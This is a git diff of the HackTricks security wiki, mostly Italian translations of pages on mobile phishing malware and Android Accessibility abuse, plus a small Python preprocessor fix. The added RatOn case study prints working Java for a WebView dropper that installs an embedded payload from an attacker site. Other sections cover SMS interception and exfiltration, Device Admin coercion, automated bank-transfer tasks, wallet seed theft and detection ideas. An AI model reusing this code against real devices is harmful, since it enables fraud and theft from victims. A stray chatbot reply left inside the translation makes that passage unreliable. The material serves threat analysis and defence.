diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -837,8 +837,9 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) +- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index faa4a2981..03a241cd2 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -3,63 +3,63 @@ {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> Questa pagina tratta delle tecniche utilizzate dagli attori delle minacce per distribuire **APK Android malevoli** e **profili di configurazione mobile iOS** attraverso il phishing (SEO, ingegneria sociale, negozi falsi, app di incontri, ecc.). +> Questa pagina copre le tecniche usate dagli threat actor per distribuire **malicious Android APKs** e **iOS mobile-configuration profiles** tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.). > Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e da altre ricerche pubbliche. ## Attack Flow 1. **SEO/Phishing Infrastructure** -* Registrare dozzine di domini simili (incontri, condivisione cloud, servizio auto…). -– Utilizzare parole chiave e emoji nella lingua locale nell'elemento `` per posizionarsi su Google. -– Ospitare *sia* le istruzioni di installazione Android (`.apk`) che iOS sulla stessa pagina di atterraggio. +* Registrare dozzine di domini look-alike (dating, cloud share, car service…). +– Usare parole chiave nella lingua locale ed emoji nell'elemento `<title>` per posizionarsi su Google. +– Ospitare *sia* le istruzioni di installazione Android (`.apk`) sia quelle iOS sulla stessa landing page. 2. **First Stage Download** -* Android: link diretto a un APK *non firmato* o “negozio di terze parti”. -* iOS: `itms-services://` o link HTTPS semplice a un profilo **mobileconfig** malevolo (vedi sotto). +* Android: link diretto a un APK *unsigned* o da “third-party store”. +* iOS: `itms-services://` o link HTTPS semplice a un **mobileconfig** profile malevolo (vedi sotto). 3. **Post-install Social Engineering** -* Al primo avvio, l'app chiede un **codice di invito / verifica** (illusione di accesso esclusivo). -* Il codice è **POSTato su HTTP** al Command-and-Control (C2). -* C2 risponde `{"success":true}` ➜ il malware continua. -* L'analisi dinamica di Sandbox / AV che non invia un codice valido non vede **comportamenti malevoli** (evasione). +* Al primo avvio l'app richiede un **invitation / verification code** (illusione di accesso esclusivo). +* Il codice viene **POSTato over HTTP** al Command-and-Control (C2). +* Il C2 risponde `{"success":true}` ➜ il malware continua. +* Sandbox / AV dynamic analysis che non inviano mai un codice valido non vedono **comportamento maligno** (evasion). 4. **Runtime Permission Abuse** (Android) -* Le autorizzazioni pericolose vengono richieste **solo dopo una risposta positiva dal C2**: +* Le permission pericolose sono richieste solo **dopo una risposta positiva del C2**: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> -<!-- Le versioni più vecchie richiedevano anche autorizzazioni SMS --> +<!-- Older builds also asked for SMS permissions --> ``` -* Le varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso del codice Java/Kotlin che legge gli SMS tramite riflessione ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono l'autorizzazione tramite abuso di `AppOps` o obiettivi vecchi. +* Varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso Java/Kotlin che legge gli SMS via reflection ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi dove la permission è concessa tramite `AppOps` abuse o su target vecchi. 5. **Facade UI & Background Collection** -* L'app mostra viste innocue (visualizzatore SMS, selettore galleria) implementate localmente. -* Nel frattempo, esfiltra: +* L'app mostra view innocue (SMS viewer, gallery picker) implementate localmente. +* Nel frattempo esfiltra: - IMEI / IMSI, numero di telefono - Dump completo di `ContactsContract` (array JSON) -- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre le dimensioni -- Contenuto SMS opzionale (`content://sms`) -I payload sono **batch-zippati** e inviati tramite `HTTP POST /upload.php`. +- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre la dimensione +- SMS opzionali (`content://sms`) +I payload vengono **batch-zippati** e inviati via `HTTP POST /upload.php`. 6. **iOS Delivery Technique** -* Un singolo **profilo di configurazione mobile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”. -* Istruzioni di ingegneria sociale: -1. Aprire Impostazioni ➜ *Profilo scaricato*. -2. Toccare *Installa* tre volte (screenshot sulla pagina di phishing). -3. Fidarsi del profilo non firmato ➜ l'attaccante ottiene i diritti su *Contatti* e *Foto* senza revisione dell'App Store. +* Un singolo **mobile-configuration profile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, ecc. per iscrivere il dispositivo in una supervisione tipo “MDM”. +* Istruzioni di social-engineering: +1. Apri Impostazioni ➜ *Profile downloaded*. +2. Tocca *Install* tre volte (screenshot sulla pagina di phishing). +3. Trust il profilo non firmato ➜ l'attaccante ottiene i privilegi su *Contacts* & *Photo* senza revisione App Store. 7. **Network Layer** -* HTTP semplice, spesso sulla porta 80 con intestazione HOST come `api.<phishingdomain>.com`. +* Plain HTTP, spesso su porta 80 con HOST header tipo `api.<phishingdomain>.com`. * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → facile da individuare). ## Defensive Testing / Red-Team Tips -* **Dynamic Analysis Bypass** – Durante la valutazione del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo. -* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con `PackageManager#getRequestedPermissions()` a runtime; la mancanza di permessi pericolosi è un campanello d'allarme. -* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare esplosioni di POST non solidi dopo l'inserimento del codice. -* **mobileconfig Inspection** – Utilizzare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare diritti eccessivi. +* **Dynamic Analysis Bypass** – Durante l'analisi del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo maligno. +* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con le `PackageManager#getRequestedPermissions()` a runtime; permessi pericolosi mancanti sono un red flag. +* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare raffiche di POST sospette dopo l'inserimento del codice. +* **mobileconfig Inspection** – Usare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare entitlements eccessivi. ## Blue-Team Detection Ideas * **Certificate Transparency / DNS Analytics** per catturare esplosioni improvvise di domini ricchi di parole chiave. -* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik al di fuori di Google Play. +* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik fuori dal Play Store. * **Invite-code Telemetry** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging. -* **MobileConfig Signing** – Bloccare profili di configurazione non firmati tramite politica MDM. +* **MobileConfig Signing** – Bloccare i configuration profile non firmati tramite policy MDM. ## Useful Frida Snippet: Auto-Bypass Invitation Code ```python @@ -80,7 +80,7 @@ return conn; }; }); ``` -## Indicatori (Generici) +## Indicatori (Generico) ``` /req/checkCode.php # invite code validation /upload.php # batched ZIP exfiltration @@ -90,26 +90,26 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern -Questo schema è stato osservato in campagne che abusano di temi legati ai benefici governativi per rubare credenziali UPI indiane e OTP. Gli operatori concatenano piattaforme affidabili per la consegna e la resilienza. +This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience. -### Catena di consegna attraverso piattaforme fidate -- Video di YouTube come esca → la descrizione contiene un link breve -- Link breve → sito di phishing su GitHub Pages che imita il portale legittimo -- Lo stesso repository GitHub ospita un APK con un falso badge “Google Play” che collega direttamente al file -- Pagine di phishing dinamiche vivono su Replit; il canale di comando remoto utilizza Firebase Cloud Messaging (FCM) +### Catena di consegna attraverso piattaforme affidabili +- YouTube video lure → description contains a short link +- Shortlink → GitHub Pages phishing site imitating the legit portal +- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file +- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM) ### Dropper con payload incorporato e installazione offline -- Il primo APK è un installer (dropper) che spedisce il vero malware a `assets/app.apk` e invita l'utente a disabilitare Wi‑Fi/dati mobili per ridurre il rilevamento nel cloud. -- Il payload incorporato si installa sotto un'etichetta innocua (ad es., “Aggiornamento Sicuro”). Dopo l'installazione, sia l'installer che il payload sono presenti come app separate. +- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection. +- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps. -Suggerimento per la triage statica (grep per payload incorporati): +Suggerimento per il triage statico (grep for embedded payloads): ```bash unzip -l sample.apk | grep -i "assets/app.apk" # Or: zipgrep -i "classes|.apk" sample.apk | head ``` ### Scoperta dinamica degli endpoint tramite shortlink -- Il malware recupera un elenco di endpoint attivi in formato testo semplice e separato da virgole da uno shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing. +- Malware recupera da uno shortlink una lista in plain-text separata da virgole di endpoint attivi; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing. Esempio (sanitizzato): ``` @@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) UPI credential POST: https://sqcepo.replit.app/addup.php SMS upload: https://sqcepo.replit.app/addsm.php ``` -Codice pseudo: +Pseudo-codice: ```java String csv = httpGet(shortlink); String[] parts = csv.split(","); @@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); String smsPost = parts[1]; String credsPost = upiPage.replace("gate.htm", "addup.php"); ``` -### Raccolta di credenziali UPI basata su WebView -- Il passaggio “Effettua il pagamento di ₹1 / UPI‑Lite” carica un modulo HTML dell'attaccante dall'endpoint dinamico all'interno di un WebView e cattura campi sensibili (telefono, banca, PIN UPI) che vengono `POST`ati a `addup.php`. +### Raccolta delle credenziali UPI tramite WebView +- Il passaggio “Make payment of ₹1 / UPI‑Lite” carica un form HTML dell'attaccante dall'endpoint dinamico all'interno di una WebView e cattura campi sensibili (telefono, banca, UPI PIN) che vengono inviati con `POST` a `addup.php`. -Loader minimo: +Loader minimale: ```java WebView wv = findViewById(R.id.web); wv.getSettings().setJavaScriptEnabled(true); wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm ``` -### Auto-propagazione e intercettazione SMS/OTP -- Vengono richieste autorizzazioni aggressive al primo avvio: +### Self-propagation and SMS/OTP interception +- Vengono richiesti permessi aggressivi al primo avvio: ```xml <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.CALL_PHONE"/> ``` -- I contatti vengono utilizzati per inviare SMS smishing in massa dal dispositivo della vittima. -- Gli SMS in arrivo vengono intercettati da un ricevitore di broadcast e caricati con metadati (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`. +- I contatti vengono ciclati per inviare in massa smishing SMS dal dispositivo della vittima. +- Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadata (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`. -Ricevitore schizzo: +Bozza del receiver: ```java public void onReceive(Context c, Intent i){ SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); @@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder() } ``` ### Firebase Cloud Messaging (FCM) come C2 resiliente -- Il payload si registra a FCM; i messaggi push contengono un campo `_type` utilizzato come interruttore per attivare azioni (ad es., aggiornare i modelli di testo di phishing, attivare/disattivare comportamenti). +- Il payload si registra a FCM; i messaggi push contengono un campo `_type` usato come switch per attivare azioni (ad es., aggiornare i template di testo per phishing, attivare/disattivare comportamenti). Esempio di payload FCM: ```json @@ -174,7 +174,7 @@ Esempio di payload FCM: } } ``` -Handler sketch: +Bozza Handler: ```java @Override public void onMessageReceived(RemoteMessage msg){ @@ -186,27 +186,179 @@ case "smish": sendSmishToContacts(); break; } } ``` -### Hunting patterns and IOCs +### Pattern di hunting e IOCs - APK contiene un payload secondario in `assets/app.apk` -- WebView carica il pagamento da `gate.htm` ed esfiltra a `/addup.php` -- Esfiltrazione SMS a `/addsm.php` -- Fetch della configurazione tramite shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV -- App etichettate come generiche “Update/Secure Update” -- Messaggi `data` FCM con un discriminatore `_type` in app non affidabili +- WebView carica il pagamento da `gate.htm` ed esfiltra verso `/addup.php` +- Esfiltrazione SMS verso `/addsm.php` +- Fetch di configurazione guidato da shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV +- App etichettate genericamente “Update/Secure Update” +- Messaggi FCM `data` con un discriminatore `_type` in app non attendibili -### Detection & defence ideas -- Segnala app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi caricano un secondo APK da `assets/`. -- Allerta sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView. -- Monitoraggio dell'uscita per `POST /addup.php|/addsm.php` su host non aziendali; blocca infrastrutture note. -- Regole EDR mobili: app non affidabili che si registrano per FCM e si ramificano su un campo `_type`. +### Idee per rilevamento e difesa +- Segnalare app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi eseguono il side-load di un secondo APK da `assets/`. +- Generare allarme sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView. +- Monitoraggio dell'egress per `POST /addup.php|/addsm.php` su host non aziendali; bloccare infrastrutture note. +- Regole Mobile EDR: app non attendibili che si registrano per FCM e fanno branching su un campo `_type`. --- -## References +## Abuso di Android Accessibility/Overlay & Device Admin, automazione ATS e orchestrazione relay NFC – studio del caso RatOn + +La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, automazione UI guidata da Accessibility, overlays/ransom, coercizione Device Admin, Automated Transfer System (ATS), crypto wallet takeover e persino orchestrazione relay NFC. Questa sezione astrae le tecniche riutilizzabili. + +### Fase-1: WebView → ponte di installazione nativa (dropper) +Gli attaccanti presentano una WebView che punta a una pagina dell'attaccante e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama codice nativo che installa un APK di second stage incluso negli assets del dropper e poi lo avvia direttamente. + +Schema minimo: +```java +public class DropperActivity extends Activity { +@Override protected void onCreate(Bundle b){ +super.onCreate(b); +WebView wv = new WebView(this); +wv.getSettings().setJavaScriptEnabled(true); +wv.addJavascriptInterface(new Object(){ +@android.webkit.JavascriptInterface +public void installApk(){ +try { +PackageInstaller pi = getPackageManager().getPackageInstaller(); +PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); +int id = pi.createSession(p); +try (PackageInstaller.Session s = pi.openSession(id); +InputStream in = getAssets().open("payload.apk"); +OutputStream out = s.openWrite("base.apk", 0, -1)){ +byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); +} +PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); +pi.commit(id, status.getIntentSender()); +} catch (Exception e) { /* log */ } +} +}, "bridge"); +setContentView(wv); +wv.loadUrl("https://attacker.site/install.html"); +} +} +``` +Non vedo alcun contenuto. Per favore incolla l'HTML (o il testo/markdown) della pagina che vuoi tradurre. + +Nota: manterrò intatti tag, link, percorsi e codice (non verranno tradotti) e restituirò solo la traduzione del testo rilevante in italiano, conservando tutta la sintassi markdown/html. +```html +<button onclick="bridge.installApk()">Install</button> +``` +Dopo l'installazione, il dropper avvia il payload tramite package/activity esplicito: +```java +Intent i = new Intent(); +i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); +startActivity(i); +``` +Idea per il rilevamento: app non attendibili che chiamano `addJavascriptInterface()` ed espongono metodi simili a quelli di un installer a WebView; APK che contiene un payload secondario incorporato in `assets/` e invoca la Package Installer Session API. + +### Flusso di consenso: Accessibility + Device Admin + richieste runtime successive +Stage-2 apre una WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l'abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per cliccare automaticamente attraverso i successivi dialog di autorizzazione runtime (contatti, overlay, manage system settings, ecc.) e richiede Device Admin. + +- Accessibility aiuta in modo programmatico ad accettare i prompt successivi trovando pulsanti come “Allow”/“OK” nell'albero dei nodi e simulando clic. +- Controllo/richiesta permesso overlay: +```java +if (!Settings.canDrawOverlays(ctx)) { +Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, +Uri.parse("package:" + ctx.getPackageName())); +ctx.startActivity(i); +} +``` +Vedi anche: + +{{#ref}} +../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +{{#endref}} + +### Overlay phishing/ransom via WebView +Gli operatori possono inviare comandi per: +- rendere un overlay a schermo intero da un URL, oppure +- passare HTML inline che viene caricato in un overlay WebView. + +Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggi di riscatto. Tenere un comando per assicurarsi che il permesso per l'overlay sia concesso se mancante. + +### Remote control model – text pseudo-screen + screen-cast +- Low-bandwidth: eseguire periodicamente il dump dell'albero dei nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come `txt_screen` una tantum e `screen_live` continuo). +- High-fidelity: richiedere MediaProjection e avviare lo screen-casting/registrazione su richiesta (comandi come `display` / `record`). + +### ATS playbook (bank app automation) +Dato un task JSON, aprire l'app bancaria, pilotare l'UI via Accessibility con una combinazione di query testuali e tap per coordinate, e inserire il PIN di pagamento della vittima quando richiesto. + +Esempio di task: +```json +{ +"cmd": "transfer", +"receiver_address": "ACME s.r.o.", +"account": "123456789/0100", +"amount": "24500.00", +"name": "ACME" +} +``` +Esempi di testi visti in un flusso target (CZ → EN): +- "Nová platba" → "Nuovo pagamento" +- "Zadat platbu" → "Inserisci pagamento" +- "Nový příjemce" → "Nuovo beneficiario" +- "Domácí číslo účtu" → "Numero di conto nazionale" +- "Další" → "Avanti" +- "Odeslat" → "Invia" +- "Ano, pokračovat" → "Sì, continua" +- "Zaplatit" → "Paga" +- "Hotovo" → "Fatto" + +Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. + +### Estrazione della seed phrase dei wallet crypto +Target come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Security/Recovery, rivelare/mostrare la seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla locale (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue. + +### Coercizione Device Admin +Le Device Admin APIs vengono usate per aumentare le opportunità di cattura del PIN e ostacolare la vittima: + +- Blocco immediato: +```java +dpm.lockNow(); +``` +- Far scadere la credenziale corrente per forzare il cambio (Accessibility cattura il nuovo PIN/password): +```java +dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner +``` +- Forzare lo sblocco non biometrico disabilitando le funzionalità biometriche del keyguard: +```java +dpm.setKeyguardDisabledFeatures(admin, +DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); +``` +Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner su versioni recenti di Android; alcune build OEM possono essere più permissive. Validare sempre sul target OS/OEM. + +### NFC relay orchestration (NFSkate) +Stage-3 può installare e lanciare un modulo NFC-relay esterno (es., NFSkate) e perfino passargli un template HTML per guidare la vittima durante il relay. Questo abilita operazioni di cash-out contactless con carta presente insieme a ATS online. + +Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). + +### Set di comandi operatore (esempio) +- UI/stato: `txt_screen`, `screen_live`, `display`, `record` +- Social: `send_push`, `Facebook`, `WhatsApp` +- Sovrapposizioni: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` +- Wallets: `metamask`, `trust`, `blockchain`, `phantom` +- ATS: `transfer`, `check_limit`, `limit` +- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` +- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` +- NFC: `nfs`, `nfs_inject` + +### Idee per rilevamento e difesa (stile RatOn) +- Cercare WebViews con `addJavascriptInterface()` che espongono metodi installer/permission; pagine che terminano in “/access” che attivano prompt di Accessibility. +- Segnalare app che generano gesti/click di Accessibility ad alta frequenza poco dopo che è stato concesso l'accesso al servizio; telemetria che somiglia a Accessibility node dumps inviati al C2. +- Monitorare modifiche alle policy di Device Admin in app non attendibili: `lockNow`, scadenza password, toggle di feature keyguard. +- Allertare su prompt di MediaProjection da app non aziendali seguiti da upload periodici di frame. +- Rilevare l'installazione/avvio di un'app NFC-relay esterna attivata da un'altra app. +- Per il banking: imporre conferme out-of-band, binding biometrici e limiti di transazione resistenti all'automazione on-device. + +## Riferimenti - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) +- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md index 3e156d2ed..8f96458da 100644 --- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md +++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md @@ -1,24 +1,24 @@ -# Android Accessibility Service Abuse +# Abuso dei servizi di Accessibilità Android {{#include ../../banners/hacktricks-training.md}} -## Overview +## Panoramica -`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Sfortunatamente, le stesse **API di automazione potenti** (navigazione globale, input di testo, invio di gesti, finestre sovrapposte…) possono essere utilizzate dai malware per ottenere **il completo controllo remoto** del dispositivo _senza privilegi di root_. +`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Purtroppo le stesse **API di automazione potenti** (navigazione globale, input di testo, dispatch di gesture, finestre overlay…) possono essere sfruttate da malware per ottenere **controllo remoto completo** sul dispositivo _senza privilegi di root_. -I moderni trojan bancari Android e i Trojan di accesso remoto (RAT) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta: +I moderni banking Trojans per Android e i Remote-Access-Trojans (RATs) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta: -1. Ingegnere sociale la vittima per abilitare un servizio di accessibilità malevolo (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "ad alto rischio" e richiede un'azione esplicita da parte dell'utente). +1. Convincere tramite social engineering la vittima ad abilitare un servizio di accessibilità maligno (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "high-risk" e richiede un'azione esplicita dell'utente). 2. Sfruttare il servizio per -* catturare ogni evento UI e testo che appare sullo schermo, -* iniettare gesti sintetici (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi compito desiderato dall'operatore, -* disegnare sovrapposizioni a schermo intero sopra app legittime utilizzando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!), -* concedere silenziosamente ulteriori permessi di runtime cliccando sulle finestre di dialogo di sistema a nome della vittima. -3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente guarda uno schermo perfettamente normale. +* catturare ogni evento UI e il testo che appare sullo schermo, +* iniettare gesture sintetiche (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi operazione desiderata dall'operatore, +* disegnare overlay a schermo intero sopra app legittime usando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!), +* concedere silenziosamente permessi runtime aggiuntivi cliccando sulle finestre di dialogo di sistema per conto della vittima. +3. Esfiltrare dati o eseguire **On-Device-Fraud (ODF)** in tempo reale mentre l'utente osserva uno schermo perfettamente normale. --- -## Requesting the permission +## Richiedere il permesso ```xml <!-- AndroidManifest.xml --> <service @@ -34,7 +34,7 @@ android:exported="false"> android:resource="@xml/evil_accessibility_config"/> </service> 